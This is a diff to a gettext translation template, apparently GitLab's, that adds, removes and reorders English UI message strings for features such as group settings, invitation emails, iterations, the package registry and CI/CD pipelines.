@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
